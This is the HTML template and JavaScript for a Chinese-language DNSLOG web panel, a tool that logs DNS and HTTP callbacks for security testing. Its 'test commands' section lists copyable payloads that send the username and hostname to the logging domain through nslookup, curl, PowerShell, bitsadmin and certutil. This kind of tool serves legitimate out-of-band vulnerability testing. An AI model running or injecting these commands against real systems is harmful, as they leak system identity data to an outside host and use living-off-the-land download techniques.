<!DOCTYPE html>
<html lang="zh-CN">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>DNSLOG 平台 - 专业网络安全检测工具</title>
    <link rel="stylesheet" href="/static/style.css">
</head>

<body>
    <!-- 二进制背景动画 -->
    <div class="binary-bg" id="binaryBg"></div>

    <!-- 矩阵雨效果 -->
    <canvas class="matrix-rain" id="matrixRain"></canvas>

    <div class="container">
        <!-- 头部 -->
        <div class="header hacker-text">
            <h1>🚀 DNSLOG 管理平台</h1>
            <p>> 专业网络安全检测工具 - 实时监控 DNS 查询记录</p>
        </div>

        <!-- 子域名卡片 -->
        <div class="card">
            <h2>🎯 你的专属监控子域名</h2>
            <div class="subdomain-container">
                <div class="status-indicator">
                    <div class="status-dot"></div>
                    <span>监控状态: <span class="terminal-cursor">运行中</span></span>
                </div>
                <div class="subdomain-row">
                    <div class="subdomain-compact" id="subdomain">{{.Subdomain}}</div>
                    <div class="button-group-compact">
                        <button class="btn btn-compact" onclick="refreshSubdomain()">
                            <span>🔄</span> 刷新
                        </button>
                        <button class="btn btn-success btn-compact" onclick="copySubdomain()">
                            <span>📋</span> 复制
                        </button>
                        <button class="btn btn-danger btn-compact" onclick="clearRecords()">
                            <span>🗑️</span> 清空
                        </button>
                    </div>
                </div>
            </div>
        </div>

        <!-- 记录卡片 -->
        <div class="card">
            <h2>📊 DNS 查询记录</h2>
            <div class="button-group">
                <button class="btn btn-secondary" onclick="loadRecords()">
                    <span>🔄</span> 手动刷新
                </button>
                <label
                    style="display: flex; align-items: center; gap: 8px; background: rgba(0,20,0,0.4); padding: 8px 16px; border: 1px solid #00ff00;">
                    <input type="checkbox" id="autoRefresh" checked>
                    <span>自动刷新 (10秒)</span>
                </label>
                <div style="margin-left: auto; display: flex; align-items: center; gap: 8px;">
                    <span>记录数量:</span>
                    <span class="status-indicator" id="recordCount">0</span>
                </div>
            </div>

            <div class="records-container">
                <div class="records-header">
                    <div>时间</div>
                    <div>类型</div>
                    <div>来源 IP</div>
                    <div>查询域名</div>
                </div>
                <div id="records">
                    {{range .Records}}
                    <div class="record-item">
                        <div class="record-time">{{.Timestamp.Format "2006-01-02 15:04:05"}}</div>
                        <div class="record-type">{{.QueryType}}</div>
                        <div class="record-ip">{{.SourceIP}}</div>
                        <div class="record-domain">{{.Subdomain}}</div>
                    </div>
                    {{else}}
                    <div class="no-records">
                        <div style="font-size: 48px; margin-bottom: 10px;">🔍</div>
                        <div>暂无 DNS 查询记录</div>
                        <div style="font-size: 12px; margin-top: 5px;">使用下方的测试命令开始监控</div>
                    </div>
                    {{end}}
                </div>
            </div>
        </div>

        <!-- 测试命令卡片 -->
        <div class="card">
            <h2>🧪 测试命令</h2>

            <div class="commands">
                <div class="command-section">
                    <h4>🛠️ DNS 查询测试</h4>
                    <div class="command-item dns">
                        <div class="command-text">nslookup %username%.{{.Subdomain}}</div>
                        <button class="copy-btn">📋 复制</button>
                    </div>
                    <div class="command-item dns">
                        <div class="command-text">nslookup %computername%.{{.Subdomain}}</div>
                        <button class="copy-btn">📋 复制</button>
                    </div>
                    <div class="command-item dns">
                        <div class="command-text">nslookup admin.{{.Subdomain}}</div>
                        <button class="copy-btn">📋 复制</button>
                    </div>
                </div>

                <div class="command-section">
                    <h4>🌐 HTTP 请求测试</h4>
                    <div class="command-item http">
                        <div class="command-text">curl "test.{{.Subdomain}}</div>
                        <button class="copy-btn">📋 复制</button>
                    </div>
                    <div class="command-item http">
                        <div class="command-text">curl -H "Host: test.{{.Subdomain}}" http://8.8.8.8/</div>
                        <button class="copy-btn">📋 复制</button>
                    </div>
                    <div class="command-item http">
                        <div class="command-text">wget http://payload.{{.Subdomain}}</div>
                        <button class="copy-btn">📋 复制</button>
                    </div>
                </div>

                <!-- 系统特定用法 -->
                <div class="command-section">
                    <h4>💡 系统特定用法</h4>

                    <!-- Windows 系统用法 -->
                    <div class="platform-tip windows">
                        <h5>🪟 Windows 系统用法</h5>

                        <!-- CMD 方式 -->
                        <div class="method-group">
                            <h6>📟 CMD 命令提示符</h6>
                            <div class="command-item platform">
                                <div class="command-text">nslookup %username%.{{.Subdomain}}</div>
                                <button class="copy-btn">📋 复制</button>
                            </div>
                            <div class="command-item platform">
                                <div class="command-text">nslookup %computername%.{{.Subdomain}}</div>
                                <button class="copy-btn">📋 复制</button>
                            </div>
                            <div class="command-item platform">
                                <div class="command-text">for /L %i in (1,1,5) do @nslookup test%i.{{.Subdomain}}</div>
                                <button class="copy-btn">📋 复制</button>
                            </div>
                        </div>

                        <!-- PowerShell 方式 -->
                        <div class="method-group">
                            <h6>🔷 PowerShell</h6>
                            <div class="command-item platform">
                                <div class="command-text">Resolve-DnsName "$env:USERNAME.{{.Subdomain}}"</div>
                                <button class="copy-btn">📋 复制</button>
                            </div>
                            <div class="command-item platform">
                                <div class="command-text">Resolve-DnsName "$env:COMPUTERNAME.{{.Subdomain}}"</div>
                                <button class="copy-btn">📋 复制</button>
                            </div>
                            <div class="command-item platform">
                                <div class="command-text">1..5 | % { Resolve-DnsName "test$_.{{.Subdomain}}" }</div>
                                <button class="copy-btn">📋 复制</button>
                            </div>
                            <div class="command-item platform">
                                <div class="command-text">Invoke-WebRequest "http://$env:USERNAME.{{.Subdomain}}/"</div>
                                <button class="copy-btn">📋 复制</button>
                            </div>
                        </div>

                        <!-- wget 方式 -->
                        <div class="method-group">
                            <h6>🌐 wget (Windows)</h6>
                            <div class="command-item platform">
                                <div class="command-text">wget http://%username%.{{.Subdomain}}/test.txt</div>
                                <button class="copy-btn">📋 复制</button>
                            </div>
                            <div class="command-item platform">
                                <div class="command-text">wget %computername%.{{.Subdomain}}/test.txt</div>
                                <button class="copy-btn">📋 复制</button>
                            </div>
                        </div>

                        <!-- bitsadmin 方式 -->
                        <div class="method-group">
                            <h6>⬇️ bitsadmin</h6>
                            <div class="command-item platform">
                                <div class="command-text">bitsadmin /transfer test http://%username%.{{.Subdomain}}/
                                    %temp%\test.txt</div>
                                <button class="copy-btn">📋 复制</button>
                            </div>
                            <div class="command-item platform">
                                <div class="command-text">bitsadmin /rawreturn /transfer getfile
                                    http://test.{{.Subdomain}}/ %temp%\test.txt</div>
                                <button class="copy-btn">📋 复制</button>
                            </div>
                        </div>

                        <!-- certutil 方式 -->
                        <div class="method-group">
                            <h6>🔐 certutil</h6>
                            <div class="command-item platform">
                                <div class="command-text">certutil -urlcache -split -f http://admin.{{.Subdomain}}/
                                    %temp%\test.txt</div>
                                <button class="copy-btn">📋 复制</button>
                            </div>
                            <div class="command-item platform">
                                <div class="command-text">certutil -verifyctl -split -f http://test.{{.Subdomain}}/
                                </div>
                                <button class="copy-btn">📋 复制</button>
                            </div>
                        </div>
                    </div>

                    <!-- Linux 系统用法 -->
                    <div class="platform-tip linux">
                        <h5>🐧 Linux 系统用法</h5>
                        <div class="command-item platform">
                            <div class="command-text">nslookup $(whoami).{{.Subdomain}}</div>
                            <button class="copy-btn">📋 复制</button>
                        </div>
                        <div class="command-item platform">
                            <div class="command-text">nslookup $(hostname).{{.Subdomain}}</div>
                            <button class="copy-btn">📋 复制</button>
                        </div>
                        <div class="command-item platform">
                            <div class="command-text">curl $(whoami).{{.Subdomain}}</div>
                            <button class="copy-btn">📋 复制</button>
                        </div>
                        <div class="command-item platform">
                            <div class="command-text">for i in {1..5}; do nslookup test$i.{{.Subdomain}}; done</div>
                            <button class="copy-btn">📋 复制</button>
                        </div>
                    </div>

                    <div class="command-hint">
                        💡 提示：<br>
                        🪟 Windows: 使用 <code>%username%</code>, <code>%computername%</code>, <code>$env:USERNAME</code>
                        等环境变量<br>
                        🐧 Linux: 使用 <code>$(whoami)</code>, <code>$(hostname)</code>, <code>`whoami`</code> 等命令替换
                    </div>
                </div>
            </div>
        </div>
    </div>

    <!-- 通知 -->
    <div id="notification" class="notification"></div>

    <script>
        const token = "{{.Token}}";
        let autoRefreshInterval;

        // 添加点击波纹效果
        function createRipple(event) {
            const button = event.currentTarget;
            const circle = document.createElement('span');
            const diameter = Math.max(button.clientWidth, button.clientHeight);
            const radius = diameter / 2;

            circle.style.width = circle.style.height = `${diameter}px`;
            circle.style.left = `${event.clientX - button.getBoundingClientRect().left - radius}px`;
            circle.style.top = `${event.clientY - button.getBoundingClientRect().top - radius}px`;
            circle.classList.add('ripple');

            const ripple = button.getElementsByClassName('ripple')[0];
            if (ripple) {
                ripple.remove();
            }

            button.appendChild(circle);
        }

        // 显示通知
        function showNotification(message, isError = false) {
            const notification = document.getElementById('notification');

            // 先重置状态
            notification.classList.remove('show', 'error');

            // 设置消息和样式
            notification.textContent = message;
            if (isError) {
                notification.classList.add('error');
            }

            // 强制重绘
            void notification.offsetWidth;

            // 显示通知
            notification.classList.add('show');

            // 3秒后隐藏
            setTimeout(() => {
                notification.classList.remove('show');
                // 确保完全隐藏
                setTimeout(() => {
                    notification.style.visibility = 'hidden';
                }, 300);
            }, 3000);
        }

        function showNewNotification(message, isError) {
            const notification = document.getElementById('notification');

            // 重置状态
            notification.classList.remove('show', 'error');
            notification.style.visibility = 'visible';
            notification.style.opacity = '0';
            notification.style.transform = 'translateX(400px)';

            // 设置内容和样式
            notification.textContent = message;
            if (isError) {
                notification.classList.add('error');
            }

            // 强制重绘
            void notification.offsetWidth;

            // 显示动画
            notification.classList.add('show');

            // 自动隐藏
            const hideNotification = () => {
                notification.classList.remove('show');
                // 动画完成后完全隐藏
                setTimeout(() => {
                    notification.style.visibility = 'hidden';
                }, 300);
            };

            // 设置隐藏定时器
            setTimeout(hideNotification, 3000);

            // 点击通知也可以关闭
            notification.onclick = hideNotification;
        }
        // 复制命令
        function copyCommand(element, event) {
            if (event) {
                event.stopPropagation();
            }

            const commandText = element.querySelector('.command-text').textContent;
            const copyBtn = element.querySelector('.copy-btn');
            const originalText = copyBtn.textContent;

            // 立即更新按钮状态
            copyBtn.textContent = '⏳ 复制中';
            copyBtn.disabled = true;

            // 使用现代 Clipboard API
            if (navigator.clipboard && window.isSecureContext) {
                navigator.clipboard.writeText(commandText).then(() => {
                    // 复制成功
                    copyBtn.textContent = '✅ 已复制';
                    copyBtn.classList.add('copied');
                    showNotification('命令已复制到剪贴板');

                    // 2秒后恢复
                    setTimeout(() => {
                        copyBtn.textContent = originalText;
                        copyBtn.classList.remove('copied');
                        copyBtn.disabled = false;
                    }, 2000);
                }).catch(err => {
                    // 复制失败，使用降级方案
                    fallbackCopy(commandText, copyBtn, originalText);
                });
            } else {
                // 使用传统的 execCommand
                fallbackCopy(commandText, copyBtn, originalText);
            }
        }

        // 降级复制方案
        function fallbackCopy(text, copyBtn, originalText) {
            const textArea = document.createElement('textarea');
            textArea.value = text;
            textArea.style.position = 'fixed';
            textArea.style.left = '-999999px';
            textArea.style.top = '-999999px';
            document.body.appendChild(textArea);
            textArea.focus();
            textArea.select();

            try {
                const successful = document.execCommand('copy');
                document.body.removeChild(textArea);

                if (successful) {
                    copyBtn.textContent = '✅ 已复制';
                    copyBtn.classList.add('copied');
                    showNotification('命令已复制到剪贴板');
                } else {
                    copyBtn.textContent = '❌ 失败';
                    showNotification('复制失败，请手动选择文本复制', true);

                    // 自动选择文本以便用户手动复制
                    const range = document.createRange();
                    const commandText = copyBtn.closest('.command-item').querySelector('.command-text');
                    range.selectNodeContents(commandText);
                    const selection = window.getSelection();
                    selection.removeAllRanges();
                    selection.addRange(range);
                }
            } catch (err) {
                console.error('复制失败:', err);
                copyBtn.textContent = '❌ 错误';
                showNotification('复制出错', true);
            }

            // 2秒后恢复
            setTimeout(() => {
                copyBtn.textContent = originalText;
                copyBtn.classList.remove('copied');
                copyBtn.disabled = false;
                document.body.removeChild(textArea);
            }, 2000);
        }

        // 初始化复制功能
        function initCopyFunctionality() {
            // 为所有复制按钮添加点击事件
            document.querySelectorAll('.copy-btn').forEach(btn => {
                btn.addEventListener('click', function (event) {
                    event.stopPropagation();
                    const commandItem = this.closest('.command-item');
                    copyCommand(commandItem, event);
                });
            });

            // 为所有命令项添加点击事件（点击命令文本区域也可以复制）
            document.querySelectorAll('.command-item').forEach(item => {
                item.addEventListener('click', function (event) {
                    // 如果点击的是复制按钮，不重复触发
                    if (!event.target.classList.contains('copy-btn')) {
                        copyCommand(this, event);
                    }
                });
            });

            console.log('✅ 复制功能初始化完成');
        }

        // 复制子域名
        function copySubdomain() {
            const subdomain = document.getElementById('subdomain').textContent;

            if (navigator.clipboard && window.isSecureContext) {
                navigator.clipboard.writeText(subdomain).then(() => {
                    showNotification('子域名已复制: ' + subdomain);
                }).catch(err => {
                    showNotification('复制失败，请手动复制: ' + subdomain, true);
                });
            } else {
                // 降级方案
                const textArea = document.createElement('textarea');
                textArea.value = subdomain;
                document.body.appendChild(textArea);
                textArea.select();
                document.execCommand('copy');
                document.body.removeChild(textArea);
                showNotification('子域名已复制: ' + subdomain);
            }
        }

        // 加载记录
        function loadRecords() {
            const recordsContainer = document.getElementById('records');
            const recordCount = document.getElementById('recordCount');

            // 显示加载状态
            recordsContainer.innerHTML = `
            <div class="no-records">
                <div class="loading" style="margin: 0 auto 10px;"></div>
                <div>加载中...</div>
            </div>
        `;

            fetch(`/api/records?token=${token}`)
                .then(response => response.json())
                .then(data => {
                    if (data.success) {
                        updateRecordsDisplay(data.data);
                        recordCount.textContent = data.data.length;
                    } else {
                        showNotification('加载记录失败', true);
                    }
                })
                .catch(error => {
                    console.error('Error loading records:', error);
                    showNotification('网络错误，请重试', true);
                });
        }

        // 更新记录显示
        function updateRecordsDisplay(records) {
            const container = document.getElementById('records');
            const recordCount = document.getElementById('recordCount');

            if (records.length === 0) {
                container.innerHTML = `
                <div class="no-records">
                    <div style="font-size: 48px; margin-bottom: 10px;">🔍</div>
                    <div>暂无 DNS 查询记录</div>
                    <div style="font-size: 12px; margin-top: 5px;">使用下方的测试命令开始监控</div>
                </div>
            `;
                recordCount.textContent = '0';
                return;
            }

            container.innerHTML = records.map(record => `
            <div class="record-item">
                <div class="record-time">${formatTime(record.timestamp)}</div>
                <div class="record-type">${record.query_type}</div>
                <div class="record-ip">${record.source_ip}</div>
                <div class="record-domain">${record.subdomain}</div>
            </div>
        `).join('');

            recordCount.textContent = records.length;

            // 如果有新记录，显示通知
            if (records.length > 0) {
                const latestRecord = records[records.length - 1];
                if (Date.now() - new Date(latestRecord.timestamp).getTime() < 10000) {
                    showNotification(`新的 DNS 查询: ${latestRecord.subdomain}`);
                }
            }
        }

        // 时间格式化
        function formatTime(timestamp) {
            const date = new Date(timestamp);
            return date.toLocaleString('zh-CN', {
                year: 'numeric',
                month: '2-digit',
                day: '2-digit',
                hour: '2-digit',
                minute: '2-digit',
                second: '2-digit'
            });
        }

        // 更新所有测试命令中的子域名
        function updateAllCommandSubdomains(newSubdomain) {
            console.log('🔄 更新测试命令中的子域名:', newSubdomain);

            // 更新所有命令项中的子域名
            document.querySelectorAll('.command-item').forEach(item => {
                const commandText = item.querySelector('.command-text');
                const currentText = commandText.textContent;

                // 使用正则表达式替换所有出现的子域名
                // 匹配类似 abc123.hackme.local 的模式
                const regex = /[a-f0-9]{8}\.[a-zA-Z0-9.-]+/g;
                const newText = currentText.replace(regex, newSubdomain);

                if (newText !== currentText) {
                    commandText.textContent = newText;
                    console.log('  更新命令:', currentText, '->', newText);
                }
            });
        }

        // 刷新子域名
        function refreshSubdomain() {
            if (!confirm('确定要刷新子域名吗？这将清空当前所有记录。')) {
                return;
            }

            fetch(`/api/refresh?token=${token}`, { method: 'POST' })
                .then(response => response.json())
                .then(data => {
                    if (data.success) {
                        const newSubdomain = data.subdomain;

                        // 更新页面显示的子域名
                        document.getElementById('subdomain').textContent = newSubdomain;

                        // 清空记录显示
                        document.getElementById('records').innerHTML = `
                        <div class="no-records">
                            <div style="font-size: 48px; margin-bottom: 10px;">🔄</div>
                            <div>子域名已刷新</div>
                            <div style="font-size: 12px; margin-top: 5px;">使用新的子域名进行测试</div>
                        </div>
                    `;
                        document.getElementById('recordCount').textContent = '0';

                        // 重要：更新所有测试命令中的子域名
                        updateAllCommandSubdomains(newSubdomain);

                        showNotification('子域名已刷新: ' + newSubdomain);

                        // 重新初始化复制功能（因为DOM元素内容改变了）
                        initCopyFunctionality();
                    }
                })
                .catch(error => {
                    console.error('刷新子域名失败:', error);
                    showNotification('刷新失败，请重试', true);
                });
        }

        // 清空记录
        function clearRecords() {
            if (!confirm('确定要清空所有记录吗？')) {
                return;
            }

            fetch(`/api/clear?token=${token}`, { method: 'POST' })
                .then(response => response.json())
                .then(data => {
                    if (data.success) {
                        document.getElementById('records').innerHTML = `
                        <div class="no-records">
                            <div style="font-size: 48px; margin-bottom: 10px;">🗑️</div>
                            <div>记录已清空</div>
                        </div>
                    `;
                        document.getElementById('recordCount').textContent = '0';
                        showNotification('所有记录已清空');
                    }
                });
        }

        // 自动刷新控制
        document.getElementById('autoRefresh').addEventListener('change', function (e) {
            if (e.target.checked) {
                startAutoRefresh();
            } else {
                stopAutoRefresh();
            }
        });

        function startAutoRefresh() {
            autoRefreshInterval = setInterval(loadRecords, 10000);
        }

        function stopAutoRefresh() {
            if (autoRefreshInterval) {
                clearInterval(autoRefreshInterval);
            }
        }

        // 矩阵雨效果
        function initMatrixRain() {
            const canvas = document.getElementById('matrixRain');
            const ctx = canvas.getContext('2d');

            canvas.width = window.innerWidth;
            canvas.height = window.innerHeight;

            const chars = '01';
            const charArray = chars.split('');
            const fontSize = 14;
            const columns = canvas.width / fontSize;
            const drops = [];

            for (let i = 0; i < columns; i++) {
                drops[i] = 1;
            }

            function draw() {
                ctx.fillStyle = 'rgba(0, 0, 0, 0.05)';
                ctx.fillRect(0, 0, canvas.width, canvas.height);

                ctx.fillStyle = '#00ff00';
                ctx.font = fontSize + 'px monospace';

                for (let i = 0; i < drops.length; i++) {
                    const text = charArray[Math.floor(Math.random() * charArray.length)];
                    ctx.fillText(text, i * fontSize, drops[i] * fontSize);

                    if (drops[i] * fontSize > canvas.height && Math.random() > 0.975) {
                        drops[i] = 0;
                    }

                    drops[i]++;
                }
            }

            setInterval(draw, 33);
        }

        // 二进制背景动画
        function initBinaryBackground() {
            const container = document.getElementById('binaryBg');
            const digits = '01';

            function createDigit() {
                const digit = document.createElement('div');
                digit.className = 'binary-digit';
                digit.textContent = digits[Math.floor(Math.random() * digits.length)];
                digit.style.left = Math.random() * 100 + 'vw';
                digit.style.animationDuration = (Math.random() * 10 + 5) + 's';
                digit.style.opacity = Math.random() * 0.5 + 0.1;
                container.appendChild(digit);

                setTimeout(() => {
                    digit.remove();
                }, parseFloat(digit.style.animationDuration) * 1000);
            }

            setInterval(createDigit, 100);
        }

        // 初始化所有特效
        document.addEventListener('DOMContentLoaded', function () {
            initMatrixRain();
            initBinaryBackground();
            initCopyFunctionality();
            startAutoRefresh();
            loadRecords();

            // 为所有按钮添加波纹效果
            const buttons = document.querySelectorAll('.btn');
            buttons.forEach(button => {
                button.addEventListener('click', createRipple);
            });
        });

        // 窗口调整大小时重置canvas
        window.addEventListener('resize', function () {
            const canvas = document.getElementById('matrixRain');
            canvas.width = window.innerWidth;
            canvas.height = window.innerHeight;
        });
    </script>
</body>

</html>